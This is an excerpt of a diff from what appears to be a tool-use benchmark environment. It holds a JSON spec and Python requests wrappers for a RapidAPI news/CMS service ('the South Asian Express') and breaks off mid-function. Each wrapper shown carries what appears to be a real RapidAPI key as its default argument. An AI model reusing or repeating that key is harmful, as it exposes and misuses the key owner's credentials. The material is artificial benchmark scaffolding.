+ "convert_code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/posts\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
779
+ "test_endpoint": ""
780
+ },
781
+ {
782
+ "name": "post-/comments/{id}-28a49125-67ed-459c-baf2-757df6b391d6",
783
+ "url": "https://the-south-asian-express.p.rapidapi.com/comments/string",
784
+ "description": "Update Single Comment",
785
+ "method": "POST",
786
+ "required_parameters": [
787
+ {
788
+ "name": "id",
789
+ "type": "STRING",
790
+ "description": "Id of object",
791
+ "default": "string"
792
+ }
793
+ ],
794
+ "optional_parameters": [],
795
+ "code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/comments/string\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
796
+ "convert_code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/comments/{id}\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
797
+ "test_endpoint": ""
798
+ },
799
+ {
800
+ "name": "post-/comments-8dae4b88-cdcd-44bd-a9c8-eed8c01de9ce",
801
+ "url": "https://the-south-asian-express.p.rapidapi.com/comments",
802
+ "description": "Create Comment",
803
+ "method": "POST",
804
+ "required_parameters": [],
805
+ "optional_parameters": [],
806
+ "code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/comments\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
807
+ "convert_code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/comments\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
808
+ "test_endpoint": ""
809
+ },
810
+ {
811
+ "name": "post-/categories-cb4eaa4e-be3d-477a-9413-3f7f6503d323",
812
+ "url": "https://the-south-asian-express.p.rapidapi.com/categories",
813
+ "description": "Create Category",
814
+ "method": "POST",
815
+ "required_parameters": [],
816
+ "optional_parameters": [],
817
+ "code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/categories\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
818
+ "convert_code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/categories\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
819
+ "test_endpoint": ""
820
+ },
821
+ {
822
+ "name": "post-/media-193aca62-57b3-4dae-adf6-4dcaa7d5e41a",
823
+ "url": "https://the-south-asian-express.p.rapidapi.com/media",
824
+ "description": "Create Media",
825
+ "method": "POST",
826
+ "required_parameters": [],
827
+ "optional_parameters": [],
828
+ "code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/media\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
829
+ "convert_code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/media\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
830
+ "test_endpoint": ""
831
+ },
832
+ {
833
+ "name": "post-/users/{id}-364c4b2c-f6fb-42c7-8623-32dbb8a907bc",
834
+ "url": "https://the-south-asian-express.p.rapidapi.com/users/string",
835
+ "description": "Update Single User",
836
+ "method": "POST",
837
+ "required_parameters": [
838
+ {
839
+ "name": "id",
840
+ "type": "STRING",
841
+ "description": "Id of object",
842
+ "default": "string"
843
+ }
844
+ ],
845
+ "optional_parameters": [],
846
+ "code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/users/string\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
847
+ "convert_code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/users/{id}\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
848
+ "test_endpoint": ""
849
+ },
850
+ {
851
+ "name": "post-/categories/{id}-9592c2b7-7edb-469a-ac3f-bfb78fc36ac1",
852
+ "url": "https://the-south-asian-express.p.rapidapi.com/categories/string",
853
+ "description": "Update Single Category",
854
+ "method": "POST",
855
+ "required_parameters": [
856
+ {
857
+ "name": "id",
858
+ "type": "STRING",
859
+ "description": "Id of object",
860
+ "default": "string"
861
+ }
862
+ ],
863
+ "optional_parameters": [],
864
+ "code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/categories/string\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
865
+ "convert_code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/categories/{id}\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
866
+ "test_endpoint": ""
867
+ },
868
+ {
869
+ "name": "post-/tags-3610a98e-186f-445e-9caa-e6cebb2e0735",
870
+ "url": "https://the-south-asian-express.p.rapidapi.com/tags",
871
+ "description": "Create Tag",
872
+ "method": "POST",
873
+ "required_parameters": [],
874
+ "optional_parameters": [],
875
+ "code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/tags\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
876
+ "convert_code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/tags\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
877
+ "test_endpoint": ""
878
+ },
879
+ {
880
+ "name": "post-/pages-803b78f5-8b1a-4c15-901c-ed8316eb35b5",
881
+ "url": "https://the-south-asian-express.p.rapidapi.com/pages",
882
+ "description": "Create Page",
883
+ "method": "POST",
884
+ "required_parameters": [],
885
+ "optional_parameters": [],
886
+ "code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/pages\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
887
+ "convert_code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/pages\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
888
+ "test_endpoint": ""
889
+ },
890
+ {
891
+ "name": "post-/pages/{id}-98aa0dce-1b5a-4294-bf60-6c018b4599b3",
892
+ "url": "https://the-south-asian-express.p.rapidapi.com/pages/string",
893
+ "description": "Update Single Page",
894
+ "method": "POST",
895
+ "required_parameters": [
896
+ {
897
+ "name": "id",
898
+ "type": "STRING",
899
+ "description": "Id of object",
900
+ "default": "string"
901
+ }
902
+ ],
903
+ "optional_parameters": [],
904
+ "code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/pages/string\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
905
+ "convert_code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/pages/{id}\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
906
+ "test_endpoint": ""
907
+ },
908
+ {
909
+ "name": "post-/tags/{id}-01234af3-8f65-48e3-b198-f84307777aa4",
910
+ "url": "https://the-south-asian-express.p.rapidapi.com/tags/string",
911
+ "description": "Update Single Tag",
912
+ "method": "POST",
913
+ "required_parameters": [
914
+ {
915
+ "name": "id",
916
+ "type": "STRING",
917
+ "description": "Id of object",
918
+ "default": "string"
919
+ }
920
+ ],
921
+ "optional_parameters": [],
922
+ "code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/tags/string\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
923
+ "convert_code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/tags/{id}\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
924
+ "test_endpoint": ""
925
+ },
926
+ {
927
+ "name": "post-/media/{id}-2180492c-10f1-4ad7-b2ff-198f2634f73b",
928
+ "url": "https://the-south-asian-express.p.rapidapi.com/media/string",
929
+ "description": "Update Single Media",
930
+ "method": "POST",
931
+ "required_parameters": [
932
+ {
933
+ "name": "id",
934
+ "type": "STRING",
935
+ "description": "Id of object",
936
+ "default": "string"
937
+ }
938
+ ],
939
+ "optional_parameters": [],
940
+ "code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/media/string\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
941
+ "convert_code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/media/{id}\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
942
+ "test_endpoint": ""
943
+ },
944
+ {
945
+ "name": "post-/posts/{id}-3c22296b-ebee-4c49-a062-28126442d880",
946
+ "url": "https://the-south-asian-express.p.rapidapi.com/posts/string",
947
+ "description": "Update Single Post",
948
+ "method": "POST",
949
+ "required_parameters": [
950
+ {
951
+ "name": "id",
952
+ "type": "STRING",
953
+ "description": "Id of object",
954
+ "default": "string"
955
+ }
956
+ ],
957
+ "optional_parameters": [
958
+ {
959
+ "name": "context",
960
+ "type": "STRING",
961
+ "description": "Scope under which the request is made; determines fields present in response.",
962
+ "default": "string"
963
+ }
964
+ ],
965
+ "code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/posts/string\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers, params=querystring)\nprint(response.json())\n",
966
+ "convert_code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/posts/{id}\"\nquerystring = {\"context\": \"string\"}\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers, params=querystring)\nprint(response.json())\n",
967
+ "test_endpoint": ""
968
+ },
969
+ {
970
+ "name": "post-/users-66e01310-6eb1-42cb-8966-ba87d4ee0ebd",
971
+ "url": "https://the-south-asian-express.p.rapidapi.com/users",
972
+ "description": "Create User",
973
+ "method": "POST",
974
+ "required_parameters": [],
975
+ "optional_parameters": [],
976
+ "code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/users\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
977
+ "convert_code": "import requests\n\nurl = \"https://the-south-asian-express.p.rapidapi.com/users\"\n\nheaders = {\n \"X-RapidAPI-Key\": \"SIGN-UP-FOR-KEY\",\n \"X-RapidAPI-Host\": \"the-south-asian-express.p.rapidapi.com\"\n }\n\nresponse = requests.post(url, headers=headers)\nprint(response.json())\n",
978
+ "test_endpoint": ""
979
+ }
980
+ ],
981
+ "standardized_name": "the_south_asian_express"
982
+ }
toolbench/toolenv/tools/Other/the_south_asian_express/api.py ADDED
@@ -0,0 +1,549 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import requests
2
+ import json
3
+ from datetime import date, datetime, timedelta
4
+ import os
5
+
6
+ from typing import Optional, Dict, Union, List
7
+
8
+
9
+ def get_comments_ccfc31c2_0e94_4db6_9956_382d4c9efe6e(context: str='string', toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
10
+ """
11
+ "Scope under which the request is made; determines fields present in response."
12
+ context: Scope under which the request is made; determines fields present in response.
13
+
14
+ """
15
+ url = f"https://the-south-asian-express.p.rapidapi.com/comments"
16
+ querystring = {}
17
+ if context:
18
+ querystring['context'] = context
19
+
20
+ headers = {
21
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
22
+ "X-RapidAPI-Host": "the-south-asian-express.p.rapidapi.com"
23
+ }
24
+
25
+
26
+ response = requests.get(url, headers=headers, params=querystring)
27
+ try:
28
+ observation = response.json()
29
+ except:
30
+ observation = response.text
31
+ return observation
32
+
33
+ def get_statuses_c0a5199c_546e_4cab_8f8f_73c99e62c988(context: str='string', toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
34
+ """
35
+ "Scope under which the request is made; determines fields present in response."
36
+ context: Scope under which the request is made; determines fields present in response.
37
+
38
+ """
39
+ url = f"https://the-south-asian-express.p.rapidapi.com/statuses"
40
+ querystring = {}
41
+ if context:
42
+ querystring['context'] = context
43
+
44
+ headers = {
45
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
46
+ "X-RapidAPI-Host": "the-south-asian-express.p.rapidapi.com"
47
+ }
48
+
49
+
50
+ response = requests.get(url, headers=headers, params=querystring)
51
+ try:
52
+ observation = response.json()
53
+ except:
54
+ observation = response.text
55
+ return observation
56
+
57
+ def get_tags_c0b25f9e_c759_46ae_8d6f_14e6404e49a3(context: str='string', toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
58
+ """
59
+ "List Tags"
60
+ context: Scope under which the request is made; determines fields present in response.
61
+
62
+ """
63
+ url = f"https://the-south-asian-express.p.rapidapi.com/tags"
64
+ querystring = {}
65
+ if context:
66
+ querystring['context'] = context
67
+
68
+ headers = {
69
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
70
+ "X-RapidAPI-Host": "the-south-asian-express.p.rapidapi.com"
71
+ }
72
+
73
+
74
+ response = requests.get(url, headers=headers, params=querystring)
75
+ try:
76
+ observation = response.json()
77
+ except:
78
+ observation = response.text
79
+ return observation
80
+
81
+ def get_posts_id_revisions_16a458a3_dbc6_4bec_aee5_93db717a117a(is_id: str, context: str='string', toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
82
+ """
83
+ "Get post revisions"
84
+ id: Id of object
85
+ context: Scope under which the request is made; determines fields present in response.
86
+
87
+ """
88
+ url = f"https://the-south-asian-express.p.rapidapi.com/posts/{is_id}/revisions"
89
+ querystring = {}
90
+ if context:
91
+ querystring['context'] = context
92
+
93
+ headers = {
94
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
95
+ "X-RapidAPI-Host": "the-south-asian-express.p.rapidapi.com"
96
+ }
97
+
98
+
99
+ response = requests.get(url, headers=headers, params=querystring)
100
+ try:
101
+ observation = response.json()
102
+ except:
103
+ observation = response.text
104
+ return observation
105
+
106
+ def get_media_id_adb0e84c_5f56_4e25_8aba_9042e0c3f90f(is_id: str, context: str='string', toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
107
+ """
108
+ "Get Single Media"
109
+ id: Id of object
110
+ context: Scope under which the request is made; determines fields present in response.
111
+
112
+ """
113
+ url = f"https://the-south-asian-express.p.rapidapi.com/media/{is_id}"
114
+ querystring = {}
115
+ if context:
116
+ querystring['context'] = context
117
+
118
+ headers = {
119
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
120
+ "X-RapidAPI-Host": "the-south-asian-express.p.rapidapi.com"
121
+ }
122
+
123
+
124
+ response = requests.get(url, headers=headers, params=querystring)
125
+ try:
126
+ observation = response.json()
127
+ except:
128
+ observation = response.text
129
+ return observation
130
+
131
+ def get_media_8125bc02_6037_4c8c_8102_2297920726f0(context: str='string', toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
132
+ """
133
+ "Scope under which the request is made; determines fields present in response."
134
+ context: Scope under which the request is made; determines fields present in response.
135
+
136
+ """
137
+ url = f"https://the-south-asian-express.p.rapidapi.com/media"
138
+ querystring = {}
139
+ if context:
140
+ querystring['context'] = context
141
+
142
+ headers = {
143
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
144
+ "X-RapidAPI-Host": "the-south-asian-express.p.rapidapi.com"
145
+ }
146
+
147
+
148
+ response = requests.get(url, headers=headers, params=querystring)
149
+ try:
150
+ observation = response.json()
151
+ except:
152
+ observation = response.text
153
+ return observation
154
+
155
+ def get_statuses_id_1853ae07_ba42_43d0_8a00_00f562d98e48(is_id: str, context: str='string', toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
156
+ """
157
+ "Get Single Status"
158
+ id: Id of object
159
+ context: Scope under which the request is made; determines fields present in response.
160
+
161
+ """
162
+ url = f"https://the-south-asian-express.p.rapidapi.com/statuses/{is_id}"
163
+ querystring = {}
164
+ if context:
165
+ querystring['context'] = context
166
+
167
+ headers = {
168
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
169
+ "X-RapidAPI-Host": "the-south-asian-express.p.rapidapi.com"
170
+ }
171
+
172
+
173
+ response = requests.get(url, headers=headers, params=querystring)
174
+ try:
175
+ observation = response.json()
176
+ except:
177
+ observation = response.text
178
+ return observation
179
+
180
+ def get_posts_id_9d548709_72a0_48c0_a0fa_57c41026a2ef(is_id: str, context: str='string', toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
181
+ """
182
+ "Get Single Post"
183
+ id: Id of object
184
+ context: Scope under which the request is made; determines fields present in response.
185
+
186
+ """
187
+ url = f"https://the-south-asian-express.p.rapidapi.com/posts/{is_id}"
188
+ querystring = {}
189
+ if context:
190
+ querystring['context'] = context
191
+
192
+ headers = {
193
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
194
+ "X-RapidAPI-Host": "the-south-asian-express.p.rapidapi.com"
195
+ }
196
+
197
+
198
+ response = requests.get(url, headers=headers, params=querystring)
199
+ try:
200
+ observation = response.json()
201
+ except:
202
+ observation = response.text
203
+ return observation
204
+
205
+ def get_pages_id_04cce496_738c_44ef_9faf_4d42e99c642b(is_id: str, context: str='string', toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
206
+ """
207
+ "Get Single Page"
208
+ id: Id of object
209
+ context: Scope under which the request is made; determines fields present in response.
210
+
211
+ """
212
+ url = f"https://the-south-asian-express.p.rapidapi.com/pages/{is_id}"
213
+ querystring = {}
214
+ if context:
215
+ querystring['context'] = context
216
+
217
+ headers = {
218
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
219
+ "X-RapidAPI-Host": "the-south-asian-express.p.rapidapi.com"
220
+ }
221
+
222
+
223
+ response = requests.get(url, headers=headers, params=querystring)
224
+ try:
225
+ observation = response.json()
226
+ except:
227
+ observation = response.text
228
+ return observation
229
+
230
+ def get_categories_36a9b66a_641f_4969_a849_36119ad674a3(context: str='string', toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
231
+ """
232
+ "List categories"
233
+ context: Scope under which the request is made; determines fields present in response.
234
+
235
+ """
236
+ url = f"https://the-south-asian-express.p.rapidapi.com/categories"
237
+ querystring = {}
238
+ if context:
239
+ querystring['context'] = context
240
+
241
+ headers = {
242
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
243
+ "X-RapidAPI-Host": "the-south-asian-express.p.rapidapi.com"
244
+ }
245
+
246
+
247
+ response = requests.get(url, headers=headers, params=querystring)
248
+ try:
249
+ observation = response.json()
250
+ except:
251
+ observation = response.text
252
+ return observation
253
+
254
+ def get_types_852347ee_35c5_44fb_8548_1bee078d2350(context: str='string', toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
255
+ """
256
+ "Scope under which the request is made; determines fields present in response."
257
+ context: Scope under which the request is made; determines fields present in response.
258
+
259
+ """
260
+ url = f"https://the-south-asian-express.p.rapidapi.com/types"
261
+ querystring = {}
262
+ if context:
263
+ querystring['context'] = context
264
+
265
+ headers = {
266
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
267
+ "X-RapidAPI-Host": "the-south-asian-express.p.rapidapi.com"
268
+ }
269
+
270
+
271
+ response = requests.get(url, headers=headers, params=querystring)
272
+ try:
273
+ observation = response.json()
274
+ except:
275
+ observation = response.text
276
+ return observation
277
+
278
+ def get_categories_id_411760b4_8ab7_4a73_a04a_6e0cb2e2c00c(is_id: str, context: str='string', toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
279
+ """
280
+ "Get Single Category"
281
+ id: Id of object
282
+ context: Scope under which the request is made; determines fields present in response.
283
+
284
+ """
285
+ url = f"https://the-south-asian-express.p.rapidapi.com/categories/{is_id}"
286
+ querystring = {}
287
+ if context:
288
+ querystring['context'] = context
289
+
290
+ headers = {
291
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
292
+ "X-RapidAPI-Host": "the-south-asian-express.p.rapidapi.com"
293
+ }
294
+
295
+
296
+ response = requests.get(url, headers=headers, params=querystring)
297
+ try:
298
+ observation = response.json()
299
+ except:
300
+ observation = response.text
301
+ return observation
302
+
303
+ def get_types_id_523e7700_867d_45a5_8362_f7d4818f6bc9(is_id: str, context: str='string', toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
304
+ """
305
+ "Get Single Type"
306
+ id: Id of object
307
+ context: Scope under which the request is made; determines fields present in response.
308
+
309
+ """
310
+ url = f"https://the-south-asian-express.p.rapidapi.com/types/{is_id}"
311
+ querystring = {}
312
+ if context:
313
+ querystring['context'] = context
314
+
315
+ headers = {
316
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
317
+ "X-RapidAPI-Host": "the-south-asian-express.p.rapidapi.com"
318
+ }
319
+
320
+
321
+ response = requests.get(url, headers=headers, params=querystring)
322
+ try:
323
+ observation = response.json()
324
+ except:
325
+ observation = response.text
326
+ return observation
327
+
328
+ def get_comments_id_68712d36_48f7_4050_9c6a_a1e8491a8477(is_id: str, context: str='string', toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
329
+ """
330
+ "Get Single Comment"
331
+ id: Id of object
332
+ context: Scope under which the request is made; determines fields present in response.
333
+
334
+ """
335
+ url = f"https://the-south-asian-express.p.rapidapi.com/comments/{is_id}"
336
+ querystring = {}
337
+ if context:
338
+ querystring['context'] = context
339
+
340
+ headers = {
341
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
342
+ "X-RapidAPI-Host": "the-south-asian-express.p.rapidapi.com"
343
+ }
344
+
345
+
346
+ response = requests.get(url, headers=headers, params=querystring)
347
+ try:
348
+ observation = response.json()
349
+ except:
350
+ observation = response.text
351
+ return observation
352
+
353
+ def get_taxonomies_6b249ef7_e2c2_4378_b40a_42146d250423(context: str='string', toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
354
+ """
355
+ "List Taxonomy"
356
+ context: Scope under which the request is made; determines fields present in response.
357
+
358
+ """
359
+ url = f"https://the-south-asian-express.p.rapidapi.com/taxonomies"
360
+ querystring = {}
361
+ if context:
362
+ querystring['context'] = context
363
+
364
+ headers = {
365
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
366
+ "X-RapidAPI-Host": "the-south-asian-express.p.rapidapi.com"
367
+ }
368
+
369
+
370
+ response = requests.get(url, headers=headers, params=querystring)
371
+ try:
372
+ observation = response.json()
373
+ except:
374
+ observation = response.text
375
+ return observation
376
+
377
+ def get_users_68a613f6_d503_4942_9c11_e04e59427ec1(context: str='string', toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
378
+ """
379
+ "List Tags"
380
+ context: Scope under which the request is made; determines fields present in response.
381
+
382
+ """
383
+ url = f"https://the-south-asian-express.p.rapidapi.com/users"
384
+ querystring = {}
385
+ if context:
386
+ querystring['context'] = context
387
+
388
+ headers = {
389
+ "X-RapidAPI-Key": toolbench_rapidapi_key,
390
+ "X-RapidAPI-Host": "the-south-asian-express.p.rapidapi.com"
391
+ }
392
+
393
+
394
+ response = requests.get(url, headers=headers, params=querystring)
395
+ try:
396
+ observation = response.json()
397
+ except:
398
+ observation = response.text
399
+ return observation
400
+
401
+ def get_users_id_3449a5e3_22f0_4216_bb83_c737b2cef1b0(is_id: str, context: str='string', toolbench_rapidapi_key: str='088440d910mshef857391f2fc461p17ae9ejsnaebc918926ff'):
402
+ """
403
+ "Get Single User"
404
